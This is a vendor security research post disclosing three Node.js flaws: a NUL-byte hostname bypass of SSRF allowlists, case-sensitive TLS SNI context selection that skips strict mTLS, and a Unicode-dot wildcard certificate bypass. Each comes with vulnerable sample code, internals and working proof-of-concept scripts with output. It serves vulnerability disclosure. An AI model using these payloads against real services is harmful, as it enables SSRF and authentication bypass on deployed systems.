Cantina Research: Three Trust Boundary CVEs in Node.js

Cantina's AppSec agents map a codebase by trust boundary rather than function by function, and at each boundary it asks whether the authority granted there can be extended beyond its intended scope. Earlier Cantina disclosures have included a critical RCE in Spring AI, a privilege escalation in Spring Security, a race condition in Ruby core, 13-year-old bugs in WebKit, a privilege escalation in Anthropic's Claude Code, and 44-year-old bugs in OpenSSH. This post covers three distinct findings across all supported Node.js release lines, each targeting a different layer of the hostname and TLS stack.
Finding 1: NUL Byte Hostname Authority Rebinding
Medium: dns.lookup / net.connect • Node.js advisory
JavaScript strings are length-prefixed and can contain embedded NUL characters without truncation. Native C-string APIs consume the same value as a null-terminated string and stop at the first \0. Node.js passes hostname strings from JavaScript through to uv_getaddrinfo() without stripping embedded NUL bytes, so a hostname like 127.0.0.1\u0000.trusted.internal passes every JavaScript-layer check as a normal non-IP hostname while the native resolver only sees 127.0.0.1.
The practical impact is an SSRF allowlist bypass. An application that restricts hostnames to a trusted suffix still sees the full string at validation time. The actual DNS resolution and TCP connection target a completely different host.
Vulnerable Application Setup (Node.js)
This pattern represents a typical hostname-allowlist guard before a proxy or webhook fetch.
const http = require('node:http');
const dns = require('node:dns');
const net = require('node:net');
const ALLOWED_SUFFIX = '.trusted.internal';
function isSafeHost(host) {
if (net.isIP(host)) return false;
if (!host.endsWith(ALLOWED_SUFFIX)) return false;
return true;
}
http.createServer((req, res) => {
const target = new URL(req.url, 'http://x');
const host = target.searchParams.get('host');
if (!isSafeHost(host)) {
res.writeHead(403); res.end('Forbidden'); return;
}
dns.lookup(host, (err, addr) => {
res.end(JSON.stringify({ host, resolved: addr, err: err?.code }));
});
}).listen(8080);Vulnerable Code Path (Node.js internals)
The call chain has five stages. NUL bytes survive every JavaScript-layer check and are only truncated at the C-string boundary inside the native resolver.
lib/internal/validators.js L162
The hostname is accepted after a type-only check. Embedded NUL is not rejected at the JavaScript boundary.
const validateString = hideStackFrames((value, name) => {
if(typeof value !== 'string')
throw new ERR_INVALID_ARG_TYPE(name, 'string', value);
});Host classification uses full-string IP checks, so a NUL-containing hostname like 127.0.0.1\u0000.allowed.example returns 0 and is handled as a non-IP hostname throughout the JS path.
function isIP(s) {
if(isIPv4(s)) return 4;
if(isIPv6(s)) return 6;
return 0;
}The DNS path forwards the hostname to native resolution when isIP(hostname) returns 0. The raw JS string, NUL included, is passed to cares.getaddrinfo() without sanitisation.
function lookup(hostname, options, callback) {
// ...
if(hostname) {
validateString(hostname, 'hostname'); // type-only: NUL bytes pass through
}
// ...
const matchedFamily = isIP(hostname); // NUL host returns 0, non-IP path
if(matchedFamily) {
// fast-return for IP literals, not reached here
return {};
}
const req = new GetAddrInfoReqWrap();
req.hostname = hostname; // NUL still present in JS string
// ...
const err = cares.getaddrinfo(
req, hostname, family, hints, order, // forwarded to native unchanged
);
}The native bridge converts the hostname with ada::idna::to_ascii() and dispatches into uv_getaddrinfo() via ascii_hostname.data(), a const char* view of the result.
std::string ascii_hostname = ada::idna::to_ascii(hostname.ToStringView());
// ...
int err = req_wrap->Dispatch(
uv_getaddrinfo, AfterGetAddrInfo, ascii_hostname.data(), nullptr, &hints);The resolver sink takes const char* node. The OS getaddrinfo(3) stops reading at the first zero byte, discarding everything after the NUL and resolving a completely different host.
UV_EXTERN int uv_getaddrinfo(uv_loop_t* loop,
uv_getaddrinfo_t* req,
uv_getaddrinfo_cb getaddrinfo_cb,
const char* node, // C-string: OS truncates at \0
const char* service,
const struct addrinfo* hints);Python Trigger PoC
#!/usr/bin/env python3
import urllib.parse, urllib.request
TARGET = "http://127.0.0.1:8080/proxy"
nul_host = "127.0.0.1\u0000.trusted.internal"
safe_host = "malicious-site.com"
for host in (safe_host, nul_host):
url = f"{TARGET}?host={urllib.parse.quote(host)}"
try:
resp = urllib.request.urlopen(url, timeout=5)
print(f"[OK] {repr(host)}")
print(" " + resp.read().decode())
except urllib.error.HTTPError as e:
print(f"[{e.code}] {repr(host)}")Observed Output
$ python3 trigger.py
[403] 'malicious-site.com'
[OK] '127.0.0.1\x00.trusted.internal'
{
"host": "127.0.0.1\u0000.trusted.internal",
"resolved": "127.0.0.1",
"err": null
}The NUL payload passes the JavaScript allowlist check because endsWith() sees the full string. dns.lookup() forwards the raw string into uv_getaddrinfo() as a const char*, where the OS resolver truncates at the first zero byte and resolves 127.0.0.1.
Finding 2: TLS SNI Case-Sensitive Context Selection
Medium: tls.Server / server.addContext • Node.js advisory
server.addContext(servername, ctx) stores per-hostname TLS contexts keyed by a regular expression compiled from the exact string supplied by the server operator. The RFC 5246 ClientHello server_name extension is case-preserving. Node.js tests the raw extension value against each stored regex without normalization. Sending an uppercase variant of a registered hostname misses all registered entries and causes Node.js to fall back to the default context.
The exploitation chain proceeds as follows. First, an operator calls server.addContext('admin.example.com', strictCtx). Node.js compiles this to the regex ^admin\.example\.com$ with no case-insensitive flag. An attacker then opens a TLS connection and sends a ClientHello with server_name = ADMIN.EXAMPLE.COM. The SNI callback iterates over server._contexts and tests each regex against the raw extension value and none match because the regex is case-sensitive. callback(null, undefined) is issued and Node.js falls through to the default context. The default context may present a different server certificate and may have weaker or absent mTLS client-certificate requirements. An attacker connecting with a certificate that would be rejected by the strict admin CA is accepted by the default CA.
Vulnerable Application Setup (Node.js)
const tls = require('node:tls');
const fs = require('node:fs');
const server = tls.createServer({
key: fs.readFileSync('default-srv.key'),
cert: fs.readFileSync('default-srv.crt'),
ca: fs.readFileSync('default-ca.crt'),
requestCert: true,
rejectUnauthorized: false,
});
server.addContext('admin.example.com', {
key: fs.readFileSync('admin-srv.key'),
cert: fs.readFileSync('admin-srv.crt'),
ca: fs.readFileSync('admin-ca.crt'),
});
server.on('secureConnection', (sock) => {
console.log({
sni: sock.servername,
serverCert: sock.getCertificate()?.subject?.CN,
authorized: sock.authorized,
});
sock.end();
});
server.listen(8443, '127.0.0.1');Vulnerable Code Path (Node.js internals)
The call chain has five stages. The ClientHello SNI value is extracted verbatim in C++, compiled into a case-sensitive regex in JavaScript, tested without normalisation, and a miss silently routes the session to the default context.
The SNI value is read from the ClientHello as raw bytes and converted to a JS string with no case transformation applied.
void OnClientHello(
void* arg,
const ClientHelloParser::ClientHello& hello) {
// ...
Local<String> servername = (hello.servername() == nullptr)
? String::Empty(env->isolate())
: OneByteString(env->isolate(),
hello.servername(), // raw bytes, no toLower
hello.servername_size());
}lib/internal/tls/wrap.js L1565
The configured servername is compiled into a case-sensitive regex. The SNI callback tests the raw ClientHello value against each stored entry without any normalisation step.
Server.prototype.addContext = function(servername, context) {
// regex compiled from literal servername, no i flag, no toLower
const re = new RegExp(`^${
servername
.replace(/([.^$+?\\-\\[\\]{}])/g, '\\\\$1')
.replaceAll('*', '[^.]*')
}$`);
this._contexts.push([re, secureContext.context]);
};
function SNICallback(servername, callback) {
const contexts = this.server._contexts;
for (let i = contexts.length - 1; i >= 0; --i) {
const elem = contexts[i];
if (elem[0].test(servername)) { // ADMIN.EXAMPLE.COM fails case-sensitive regex
callback(null, elem[1]);
return;
}
}
callback(null, undefined); // no match, default context remains
}When the SNI callback yields no context, loadSNI sets nothing on the handle and the TLS session proceeds with the default context set at server creation.
function loadSNI(info) {
// ...
owner._SNICallback(servername, (err, context) => {
// ...
if (context) // only set when SNICallback found a match
owner._handle.sni_context = context.context || context;
requestOCSP(owner, info); // proceeds with default context if sni_context unset
});
}src/crypto/crypto_tls.cc L1591
CertCbDone reads sni_context from the JS object. Only when a context is present does it call setSniContext and SetCACerts. A case-mismatch leaves the default CA behavior intact.
void TLSWrap::CertCbDone(const FunctionCallbackInfo<Value>& args) {
// ...
Local<Value> ctx = object->Get(env->context(), env->sni_context_string())
.FromMaybe(Local<Value>());
if (ctx.IsEmpty()) [[unlikely]]
return; // no sni_context set, default CA remains active
SecureContext* sc = Unwrap<SecureContext>(ctx.As<Object>());
if (w->ssl_.setSniContext(w->sni_context_->ctx()) && !w->SetCACerts(sc)) {
// ...
}
}lib/internal/tls/wrap.js L1208
Server-side authorization is derived from verifyError(). Wrong context selection changes which CA validates the client certificate, changing the authorization outcome directly.
function onServerSocketSecure() {
if (this._requestCert) {
const verifyError = this._handle.verifyError();
if (verifyError) {
this.authorizationError = verifyError.code;
if (this._rejectUnauthorized)
this.destroy();
} else {
this.authorized = true; // wrong CA selected, wrong auth outcome
}
}
}Node.js Trigger PoC
'use strict';
const tls = require('node:tls');
const { execFileSync } = require('node:child_process');
const os = require('node:os'); const path = require('node:path'); const fs = require('node:fs');
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-sni-'));
const p = (n) => path.join(tmp, n);
const sh = (cmd, args) => execFileSync(cmd, args, { stdio: 'pipe' });
function mkCert(cn, san, caKey, caCrt, outKey, outCrt) {
sh('openssl', ['req','-newkey','rsa:2048','-nodes','-sha256','-subj',`/CN=${cn}`,'-keyout',outKey,'-out',p('tmp.csr')]);
fs.writeFileSync(p('tmp.ext'), `subjectAltName=DNS:${san}\n`);
sh('openssl', ['x509','-req','-sha256','-days','1','-extfile',p('tmp.ext'),'-in',p('tmp.csr'),'-CA',caCrt,'-CAkey',caKey,'-CAcreateserial','-out',outCrt]);
}
function mkCA(cn, outKey, outCrt) {
sh('openssl', ['req','-x509','-newkey','rsa:2048','-nodes','-sha256','-days','1','-subj',`/CN=${cn}`,'-keyout',outKey,'-out',outCrt]);
}
mkCA('Default CA', p('def-ca.key'), p('def-ca.crt'));
mkCA('Admin CA', p('adm-ca.key'), p('adm-ca.crt'));
mkCert('default.example.com', 'default.example.com', p('def-ca.key'), p('def-ca.crt'), p('def.key'), p('def.crt'));
mkCert('admin.example.com', 'admin.example.com', p('adm-ca.key'), p('adm-ca.crt'), p('adm.key'), p('adm.crt'));
const server = tls.createServer(
{ key: fs.readFileSync(p('def.key')), cert: fs.readFileSync(p('def.crt')) },
(s) => s.end()
);
server.addContext('admin.example.com', {
key: fs.readFileSync(p('adm.key')), cert: fs.readFileSync(p('adm.crt')),
});
const allCAs = [fs.readFileSync(p('def-ca.crt')), fs.readFileSync(p('adm-ca.crt'))];
function probe(port, sni) {
return new Promise(resolve => {
const s = tls.connect(
{ host: '127.0.0.1', port, servername: sni, ca: allCAs, checkServerIdentity: () => {} },
() => {
const cn = s.getPeerCertificate()?.subject?.CN ?? 'unknown';
resolve({ sni, serverCN: cn, hitAdminContext: cn === 'admin.example.com' });
s.end();
}
);
s.on('error', (e) => resolve({ sni, error: e.message }));
});
}
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
const lower = await probe(port, 'admin.example.com');
const upper = await probe(port, 'ADMIN.EXAMPLE.COM');
console.log(JSON.stringify({
node: process.version, lowercase_sni: lower, uppercase_sni: upper,
bypassObserved: lower.hitAdminContext && !upper.hitAdminContext,
}, null, 2));
server.close();
});Observed Output
$ node poc-sni-case.js
{
"node": "v24.15.0",
"lowercase_sni": {
"sni": "admin.example.com",
"serverCN": "admin.example.com",
"hitAdminContext": true
},
"uppercase_sni": {
"sni": "ADMIN.EXAMPLE.COM",
"serverCN": "default.example.com",
"hitAdminContext": false
},
"bypassObserved": true
}Lowercase SNI correctly routes to the admin context and the server presents the admin certificate. Uppercase SNI falls through to the default context and presents the default certificate instead, bypassing all per-tenant mTLS enforcement bound to the strict admin context.
Finding 3: Unicode Dot Wildcard Depth Bypass in checkServerIdentity
High tls.checkServerIdentity / dns.lookup • CVE-2026-48618 • Node.js advisory
tls.checkServerIdentity() splits the presented hostname into DNS labels by calling JavaScript's String.prototype.split('.'), which splits only on U+002E (ASCII full stop). The DNS resolution path passes the same hostname through ada::idna::to_ascii() before calling uv_getaddrinfo(). That conversion maps several Unicode full-stop code points, including U+3002 (IDEOGRAPHIC FULL STOP), to ASCII .. A hostname containing U+3002 therefore has a different label count depending on which code path processes it.
The exploitation chain is as follows. First, an attacker controls the hostname passed to tls.connect() and supplies foo。bar.example.com (the second dot is U+3002). Node.js then calls checkServerIdentity('foo。bar.example.com', cert). The splitHost function in lib/tls.js splits on U+002E only, producing ['foo。bar', 'example', 'com'], which is three labels. The certificate SAN is DNS:*.example.com, which also splits to three labels ['*', 'example', 'com']. The label counts match and the wildcard comparison passes, so the socket is marked authorized. Meanwhile, dns.lookup resolves the same hostname via IDNA normalization, producing foo.bar.example.com with four labels, a completely different subdomain depth that the wildcard was never intended to cover. The application trusts the TLS session as if it connected to a genuine subdomain of example.com.
Vulnerable Application Setup (Node.js)
const tls = require('node:tls');
const fs = require('node:fs');
function fetchFromPartner(host, port) {
return new Promise((resolve, reject) => {
const socket = tls.connect({
host,
port,
ca: fs.readFileSync('ca.crt'),
}, () => {
resolve({ authorized: socket.authorized, host });
socket.end();
});
socket.on('error', reject);
});
}
fetchFromPartner('foo。bar.example.com', 8443)
.then(console.log)
.catch((e) => console.log({ error: e.message }));Vulnerable Code Path (Node.js internals)
The vulnerability arises from a split between the certificate verification path and the DNS resolution path. Both operate on the same raw hostname string but apply different Unicode normalisation, producing different label counts for the same input.
The HTTP agent computes the TLS servername from the raw host option or Host header and forwards it unless it is already an IP literal. No Unicode normalisation is applied.
function calculateServerName(options, req) {
let servername = options.host;
const hostHeader = req.getHeader('host');
if (hostHeader) {
// strip port, unwrap IPv6 brackets
servername = hostHeader.split(':', 1)[0];
}
if (net.isIP(servername))
servername = ''; // suppress IP literals
return servername; // Unicode hostname passed through unchanged
}lib/internal/tls/wrap.js L1655
The TLS socket authorization path uses options.servername || options.host as-is and passes that raw value to checkServerIdentity().
if (!verifyError && !this.isSessionReused()) {
const hostname = options.servername ||
options.host ||
(options.socket?._host) ||
'localhost'; // raw Unicode hostname, not IDNA-normalised
const cert = this.getPeerCertificate(true);
verifyError = options.checkServerIdentity(hostname, cert);
}splitHost() splits only on ASCII U+002E. U+3002 (IDEOGRAPHIC FULL STOP) is not treated as a separator, so a host containing it has fewer labels than after IDNA normalisation. check() compares label counts to decide wildcard depth and passes because both sides count three labels.
function splitHost(host) {
// splits on U+002E only, U+3002 '。' is not a separator here
return unfqdn(host).replace(/[A-Z]/g, toLowerCase).split('.');
}
// 'foo。bar.example.com'.split('.') gives ['foo。bar','example','com'] (3 labels)
// '*.example.com'.split('.') gives ['*','example','com'] (3 labels)
function check(hostParts, pattern, wildcards) {
const patternParts = splitHost(pattern);
if (hostParts.length !== patternParts.length) // 3 === 3, passes
return false;
// pattern empty components check omitted for brevity
const isBad = (s) => /[^\u0021-\u007F]/u.test(s);
if (patternParts.some(isBad)) // only checks patternParts (the SAN), not hostParts
return false;
// 'foo。bar' in hostParts is never tested by isBad, wildcard passes
}The DNS bridge applies ada::idna::to_ascii() before dispatching to uv_getaddrinfo(). IDNA maps U+3002 to U+002E, expanding the hostname to four labels, a different depth than what the verifier counted against the wildcard.
node::Utf8Value hostname(env->isolate(), args[1]);
// ...
std::string ascii_hostname = ada::idna::to_ascii(hostname.ToStringView());
// foo。bar.example.com normalizes to foo.bar.example.com (4 labels after IDNA)
// certificate verifier already passed on 3-label raw split
// ...
int err = req_wrap->Dispatch(
uv_getaddrinfo, AfterGetAddrInfo, ascii_hostname.data(), nullptr, &hints);Node.js Trigger PoC
The entire setup is self-contained. The script generates an in-process TLS server with a DNS:*.example.com wildcard certificate and connects twice, once with ASCII dots and once with the Unicode ideographic full stop.
'use strict';
const tls = require('node:tls');
const { execFileSync } = require('node:child_process');
const { domainToASCII } = require('node:url');
const os = require('node:os');
const path = require('node:path');
const fs = require('node:fs');
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-udot-'));
const p = (n) => path.join(tmp, n);
const sh = (cmd, args) => execFileSync(cmd, args, { stdio: 'pipe' });
sh('openssl', [
'req', '-x509', '-newkey', 'rsa:2048', '-nodes', '-sha256', '-days', '1',
'-subj', '/CN=PoC CA', '-keyout', p('ca.key'), '-out', p('ca.crt'),
]);
sh('openssl', [
'req', '-newkey', 'rsa:2048', '-nodes', '-sha256',
'-subj', '/CN=*.example.com',
'-keyout', p('srv.key'), '-out', p('srv.csr'),
]);
fs.writeFileSync(p('san.ext'), 'subjectAltName=DNS:*.example.com\n');
sh('openssl', [
'x509', '-req', '-sha256', '-days', '1',
'-extfile', p('san.ext'),
'-in', p('srv.csr'), '-CA', p('ca.crt'), '-CAkey', p('ca.key'),
'-CAcreateserial', '-out', p('srv.crt'),
]);
const ca = fs.readFileSync(p('ca.crt'));
const server = tls.createServer(
{ key: fs.readFileSync(p('srv.key')), cert: fs.readFileSync(p('srv.crt')) },
(s) => s.end('ok'),
);
function probe(port, host) {
return new Promise((resolve) => {
const s = tls.connect({ host: '127.0.0.1', port, servername: host, ca }, () => {
resolve({ host, ascii: domainToASCII(host), authorized: s.authorized,
authorizationError: s.authorizationError ?? null });
s.end();
});
s.on('error', (e) => resolve({ host, error: e.message }));
});
}
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
const control = await probe(port, 'foo.bar.example.com');
const trigger = await probe(port, 'foo。bar.example.com');
console.log(JSON.stringify({ node: process.version, control, trigger,
bypassObserved: !control.authorized && trigger.authorized === true }, null, 2));
server.close();
});Observed Output
$ node poc-unicode-dot.js
{
"node": "v24.15.0",
"control": {
"host": "foo.bar.example.com",
"error": "Host: foo.bar.example.com. is not in the cert's altnames: DNS:*.example.com"
},
"trigger": {
"host": "foo。bar.example.com",
"ascii": "foo.bar.example.com",
"authorized": true,
"authorizationError": null
},
"bypassObserved": true
}The control path with ASCII dots is correctly rejected. The Unicode-dot path is accepted as authorized against the same certificate. The IDNA conversion in the lookup path produces the correct four-label ASCII hostname for routing, but certificate verification has already run against the three-label raw string and passed the wildcard check.
About Cantina's AppSec agent
Cantina's AppSec agent reasons through a codebase the way an experienced researcher does: it maps trust boundaries, forms multi-step hypotheses about where data crosses them, and tests each one end to end against a running target. That reasoning is dual-use by nature: the analysis that confirms a flaw is exploitable is the same analysis that could help someone weaponize it, which is exactly why frontier models guard it by default. Every finding is reproduced with a working proof of concept and then revalidated by Cantina's research team before it leaves the building.
About Cantina
Cantina (cantina.security) is an agentic security operating system that delivers staff-level security work at scale, so lean teams get the capacity of a team many times their size. It finds the issues that matter, prioritizes them, remediates them correctly, and proves the loop is closed across both code and runtime. Its offensive AppSec agent feeds that loop with real-world vulnerabilities like the three described here.
Book a demo to see what Cantina finds in your stack.